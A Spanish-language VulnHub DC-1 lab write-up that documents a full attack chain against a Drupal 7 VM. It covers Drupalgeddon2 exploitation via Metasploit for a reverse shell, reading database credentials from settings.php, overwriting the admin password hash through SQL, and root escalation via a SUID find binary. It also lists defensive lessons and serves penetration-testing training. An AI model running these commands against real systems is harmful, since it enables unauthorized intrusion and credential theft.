VulnHub-DC1-Writeup

"Writeups de laboratorio de pruebas de penetración que documentan cadenas de ataque completas — desde el reconocimiento hasta el root."

🔓 VulnHub — DC-1 Boot-to-Root Writeup

Dificultad: Principiante–Intermedio
Plataforma: VulnHub
Objetivo: Capturar las 4 banderas y lograr un compromiso total a nivel de root
Sistema atacante: Kali Linux (VirtualBox — Red NAT)
Sistema objetivo: Debian Linux (CMS Drupal 7)

📌 Tabla de Contenidos

1. Configuración del Laboratorio
2. Reconocimiento y Enumeración
3. Explotación — Ejecución Remota de Código
4. Post-Explotación — Estabilización de la Shell
5. Bandera 1 — Enumeración del Servidor Web
6. Bandera 2 — Extracción de Credenciales de la Base de Datos
7. Bandera 3 — Acceso al Panel de Administración mediante Manipulación de Hash
8. Bandera 4 y Root — Escalada de Privilegios SUID
9. Resumen de Habilidades y Herramientas
10. Conclusiones Clave

🛠 Configuración del Laboratorio

Ambas máquinas virtuales se configuraron bajo la misma red NAT en VirtualBox para permitir la comunicación entre VM manteniendo un entorno de laboratorio aislado.

🔍 Reconocimiento y Enumeración

Descubrimiento de Hosts

Se utilizó arp-scan para identificar todos los hosts activos en la subred local:

sudo arp-scan -l

Resultado: Objetivo identificado en 10.0.2.3

Escaneo de Servicios y Puertos

Se ejecutó un escaneo completo de Nmap con detección de versiones y scripts por defecto:

sudo nmap -sV -sC 10.0.2.3

Hallazgos clave:

🔑 Crítico: Nmap identificó explícitamente la aplicación web como Drupal 7 mediante las cabeceras del generador HTTP — confirmando una versión de CMS vulnerable conocida.

💥 Explotación — Ejecución Remota de Código

Vulnerabilidad: Drupalgeddon2 (CVE-2018-7600)

Drupal 7 está afectado por una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en su API de Formularios. Un atacante no autenticado puede enviar una solicitud HTTP manipulada que el backend ejecuta como comando del sistema — sin requerir autenticación alguna.

Se lanzó Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Resultado: La shell inversa de Meterpreter se abrió correctamente como www-data (el usuario del proceso del servidor web).

🐚 Post-Explotación — Estabilización de la Shell

Se pasó de Meterpreter a una shell nativa de Linux y se estabilizó usando Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Resultado: Shell bash totalmente interactiva como www-data@DC-1 dentro de /var/www

🚩 Bandera 1 — Enumeración del Servidor Web

ls -la /var/www
cat flag1.txt

Contenido de la Bandera 1:

Every good CMS needs a config file - and so do you.

💡 Pista: Apunta directamente al archivo de configuración de Drupal — settings.php

🚩 Bandera 2 — Extracción de Credenciales de la Base de Datos

Se navegó al directorio de configuración de Drupal y se inspeccionó el archivo de configuración:

cd /var/www/sites/default
cat settings.php

Credenciales descubiertas incrustadas en el array $databases:

Contenido de la Bandera 2 (de los comentarios del archivo):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Pista: Usa las credenciales para acceder al backend de MySQL — sin forzar nada por fuerza bruta.

🚩 Bandera 3 — Acceso al Panel de Administración mediante Manipulación de Hash

Paso 1: Enumeración de la Base de Datos

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Se encontraron contraseñas con hash para admin y fred — ambas usando el esquema de hash $S$ de Drupal (basado en SHA-512).

Paso 2: Forjar un Hash de Contraseña Personalizado

En lugar de crackear el hash existente, se utilizó el script PHP integrado de Drupal para generar uno nuevo:

cd /var/www
php scripts/password-hash.sh password123

Salida: Un hash $S$D... válido para password123

Paso 3: Sobrescribir la Contraseña del Administrador mediante SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Se inició sesión en http://10.0.2.3 como admin / password123 correctamente.

Contenido de la Bandera 3 (encontrado en el panel de contenido del administrador de Drupal):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Pista: Mala configuración del binario SUID en el comando find — vector de escalada de privilegios identificado.

🚩 Bandera 4 y Root — Escalada de Privilegios SUID

Paso 1: Enumerar Usuarios del Sistema

cat /etc/passwd

Se localizó al usuario flag4 con directorio home en /home/flag4.

cat /home/flag4/flag4.txt

Contenido de la Bandera 4:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Paso 2: Explotación de SUID mediante find

El binario find tenía el bit SUID activado, lo que significa que se ejecuta con los privilegios del propietario del archivo (root) sin importar quién lo ejecute.

find . -exec /bin/sh \;
whoami
# root

Paso 3: Bandera de Root

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

Se logró el compromiso total de root. ✅

🛠 Resumen de Habilidades y Herramientas

Herramientas Utilizadas

Habilidades Demostradas

• ✅ Reconocimiento de Red y Descubrimiento de Hosts
• ✅ Huella de Servicios e Identificación de CMS
• ✅ Investigación de CVE y Uso de Exploits Públicos
• ✅ Metasploit Framework — Despliegue de Payloads
• ✅ Post-Explotación y Movimiento Lateral
• ✅ Enumeración de Bases de Datos y Extracción de Credenciales
• ✅ Forja de Hash de Contraseñas e Inyección SQL mediante CLI
• ✅ Auditoría de Binarios SUID en Linux
• ✅ Escalada de Privilegios a Root

📚 Conclusiones Clave

Desde una perspectiva ofensiva:

• Las plataformas CMS sin parchear (incluso 1 o 2 versiones principales por detrás) son trivialmente explotables mediante CVEs públicos y módulos de Metasploit.
• Los archivos de configuración como settings.php suelen contener credenciales en texto plano que permiten a un atacante pasar del acceso web al control total de la base de datos.
• Las malas configuraciones de SUID en binarios comunes como find, vim o python son uno de los vectores de escalada de privilegios más fiables en entornos Linux.

Desde una perspectiva defensiva:

• Parchea siempre las plataformas CMS con prontitud: Drupalgeddon2 tenía parches disponibles; la vulnerabilidad fue el retraso en aplicarlos.
• Los secretos (credenciales de BD) nunca deben estar en archivos de configuración accesibles desde la web sin cifrado o abstracción mediante variables de entorno.
• Audita regularmente los binarios SUID: find / -perm -4000 -type f 2>/dev/null debería formar parte de cualquier lista de verificación de endurecimiento de Linux.

⚠️ Aviso Legal

Este writeup es estrictamente con fines educativos y documenta actividades realizadas en un entorno de laboratorio aislado y legal. Nunca intentes estas técnicas contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para probar.

Completado por Prapul | Perfil de TryHackMe | GitHub